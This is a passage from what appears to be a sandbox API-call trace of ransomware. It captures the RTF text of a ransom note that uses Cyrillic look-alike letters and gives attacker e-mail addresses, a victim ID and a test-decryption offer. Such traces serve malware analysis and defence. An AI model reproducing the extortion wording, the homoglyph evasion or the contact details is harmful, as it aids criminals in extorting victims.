Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0036.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 